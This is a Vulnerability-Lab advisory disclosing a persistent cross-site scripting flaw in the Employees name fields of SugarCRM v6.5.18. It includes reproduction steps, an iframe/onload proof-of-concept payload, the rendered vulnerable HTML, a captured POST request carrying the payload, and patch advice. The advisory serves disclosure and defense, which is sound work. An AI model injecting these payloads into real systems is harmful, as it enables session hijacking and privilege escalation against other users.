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Document Title:  
===============  
SugarCRM v6.5.18 - (Employees) Persistent Cross Site Vulnerability  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2257  
  
  
Release Date:  
=============  
2020-11-13  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2257  
  
  
Common Vulnerability Scoring System:  
====================================  
5.1  
  
  
Vulnerability Class:  
====================  
Cross Site Scripting - Persistent  
  
  
Current Estimated Price:  
========================  
2.000€ - 3.000€  
  
  
Product & Service Introduction:  
===============================  
SugarCRM empowers your marketing, sales and services teams to  
collaborate across the entire customer lifecycle for more  
meaningful, memorable experiences. More than 2 million users in 120  
countries have switched to SugarCRM to fuel extraordinary  
customer experiences. We have disrupted the market with a relentless  
pursuit of innovation and visionary solutions,  
bringing the world’s first no-touch, time-aware CX platform. The CX  
suite aggregates the millions of different data points  
on your customers and turns them into proactive truths, trends and  
predictions for you to leverage.  
  
(Copy of the Homepage: https://www.sugarcrm.com )  
  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a persistent  
cross site scripting web vulnerability in the official SugarCRM v6.5.18  
web-application.  
  
  
Affected Product(s):  
====================  
SugarCRM  
Product: SugarCRM v6.5.18 - CRM (Web-Application)  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2020-05-03: Researcher Notification & Coordination (Security Researcher)  
2020-05-04: Vendor Notification (Security Department)  
2020-05-24: Vendor Notification (Security Department)  
****-**-**: Vendor Response/Feedback (Security Department)  
****-**-**: Vendor Fix/Patch (Service Developer Team)  
****-**-**: Security Acknowledgements (Security Department)  
2020-11-13: Public Disclosure (Vulnerability Laboratory)  
  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
Restricted Authentication (Guest Privileges)  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Independent Security Research  
  
  
Technical Details & Description:  
================================  
A persistent input validation web vulnerability has been discovered in  
the official SugarCRM v6.5.18 web-application.  
The vulnerability allows remote attackers to inject own malicious script  
codes with persistent attack vector to  
compromise browser to web-application requests from the application-side.  
  
The persistent cross site web vulnerability is located in the First  
Name and Last Name input fields of the  
Create Employee module. Remote attackers are able to inject malicious  
script code as firstname and lastname  
to manipulate the EditView&module=Call (Scheduling Section) module.  
Remote attackers with low privileged sugarcrm  
accounts are able to inject own malicious script code as employee.  
Higher privileged application user accounts will  
execute the script code on preview of the Call information to e.g gain  
moderator or administrator rights via session  
hijacking, phishing or further persistent manipulative web attacks. The  
request method to inject is POST and the attack  
is limited to registered user accounts.  
  
Successful exploitation of the vulnerability results in session  
hijacking, persistent phishing attacks, persistent  
external redirects to malicious source and persistent manipulation of  
affected application modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] Employee  
  
Vulnerable Input(s):  
[+] First name  
[+] Last name  
  
Vulnerable Parameter(s):  
[+] first_name  
[+] last_name  
  
Affected Module(s):  
[+] EditView&module=Call (Scheduling)  
  
  
Proof of Concept (PoC):  
=======================  
The persistent input validation web vulnerability can be exploited by  
remote attackers with low privileged user account and with low user  
interaction.  
For security demonstration or to reproduce the persistent cross site web  
vulnerability follow the provided information and steps below to continue.  
  
  
Manual steps to reproduce the vulnerability ...  
1. Open the sugarcrm application  
2. Login as low privileged user account or register as user  
3. Inject payload inside of the first_name and last_name parameter  
(add(admin/manager)/edit(admin/manager/user)/register(user/manager))  
4. Save the create or submit on register  
5. Move to the calls, click the user and the code executes in the  
scheduling section next to the user account information  
Note: The script code executes immediatly each time on preview for  
users, managers and administrators  
6. Successful reproduce of the persistent cross site scripting web  
vulnerability!  
  
  
PoC: Payload  
">%20<iframe%20src=evil.source%20onload=alert(document.domain)>  
  
  
PoC: Vulnerable Source  
<div class="schedulerDiv"><h3>Scheduling</h3><table  
id="schedulerTable"><tbody><tr class="schedulerTopRow"><th colspan="38">  
<h4>Monday May 4 2020</h4></th></tr><tr  
class="schedulerTimeRow"><td>&nbsp;</td><th scope="col"  
colspan="4">2:00pm</th>  
<th scope="col" colspan="4">3:00</th><th scope="col"  
colspan="4">4:00</th><th scope="col" colspan="4">5:00</th>  
<th scope="col" colspan="4">6:00</th><th scope="col"  
colspan="4">7:00</th><th scope="col" colspan="4">8:00</th>  
<th scope="col" colspan="4">9:00</th><th scope="col"  
colspan="4">10:00</th><td>&nbsp;</td></tr><tr class="schedulerAttendeeRow">  
<td scope="row"><img  
src="index.php?entryPoint=getImage&themeName=Sugar5&imageName=Users.gif"  
align="absmiddle">  
&nbsp;  
h"[first_name]>%20<iframe%20src=evil.source%20onload=alert(document.domain)>  
m[lastname_name]">%20<iframe%20src=evil.source%20onload=alert(document.domain)></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td>  
<td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;  
</td><td>&nbsp;</td><td class="schedulerSlotCellStartTime"  
style="background-color: rgb(77, 94, 170);">&nbsp;</td><td  
class="schedulerSlotCellEndTime">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;  
</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;  
</td><td>&nbsp;</td><td class="schedulerAttendeeDeleteCell" nowrap="">  
<a title="rem" class="listViewTdToolsS1" style="text-decoration:none;"  
href="javascript:SugarWidgetScheduleRow.deleteRow('1');">  
&nbsp;<img  
src="index.php?entryPoint=getImage&themeName=Sugar5&imageName=delete_inline.gif"  
alt="rem" border="0" align="absmiddle"> rem</a>  
</td></tr></tbody></table></div>  
  
  
--- PoC Session Logs [POST] ---  
https://sugar-crm.localhost:8000/index.php  
Host: sugar-crm.localhost:8000  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0)  
Gecko/20100101 Firefox/76.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 886  
Origin: https://sugar-crm.localhost:8000  
Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=  
Connection: keep-alive  
Referer: https://sugar-crm.localhost:8000/index.php  
Cookie: PHPSESSID=unjusi3e126co9vvru08ebp010; sugar_user_theme=Sugar5;  
ck_login_id_20=1; ck_login_language_20=en_us  
module=Employees&record=1&isDuplicate=false&action=Save&return_module=Employees&return_action=DetailView&return_id=1&module_tab=&contact_role=&  
relate_to=Employees&relate_id=1&offset=1&employee_status=Active&first_name=h">%20<iframe%20src=evil.source%20onload=alert(document.domain)>&  
last_name=m">%20<iframe%20src=evil.source%20onload=alert(document.domain)>&title=Administrator&  
phone_work=&department=&phone_mobile=&reports_to_name=&reports_to_id=&phone_other=&phone_fax=&phone_home=&messenger_type=&  
messenger_id=&description=&address_street=&address_city=&address_state=&address_postalcode=&address_country=&Users_email_widget_id=0&  
emailAddressWidget=1&Users0emailAddress0=tester23@protonmail.com&Users0emailAddressId0=395c86c7-4a1d-f114-5b93-519b4090cdd7&Users0emailAddressPrimaryFlag=Users0emailAddress0&Users0emailAddressVerifiedFlag0=true&  
Users0emailAddressVerifiedValue0=tester23@protonmail.com&useEmailWidget=true  
-  
POST: HTTP/1.1 302 Moved Temporarily  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,  
pre-check=0  
Content-Type: text/html; charset=UTF-8  
Location: index.php?action=DetailView&module=Employees&record=1  
Server: Microsoft-IIS/8.5  
Set-Cookie: ck_login_id_20=1; Max-Age=7776000; path=/;  
domain=sugar-crm.localhost:8000  
ck_login_language_20=en_us; Max-Age=7776000; path=/;  
domain=sugar-crm.localhost:8000  
sugar_user_theme=Sugar5; Max-Age=31536000  
X-Powered-By: ASP.NET  
Content-Length: 184  
  
  
References:  
https://sugar-crm.localhost:8000/index.php  
https://sugar-crm.localhost:8000/index.php?action=DetailView&module=Employees&record=1  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched following the next steps ...  
1. Restrict the input fields and disallow special chars for the  
first_name and last_name values  
2. Escape and encode the contents which are transmitted from the inputs  
3. Parse and sanitize the vulnerable scheduling section ouput location  
to ensure its filtered securely  
  
  
Security Risk:  
==============  
The security risk of the persistent cross site web vulnerability in the  
sugarcrm web-application is estimated as medium.  
  
  
Credits & Authors:  
==================  
Vulnerability-Lab -  
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
Benjamin Kunz Mejri -  
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.  
  
  
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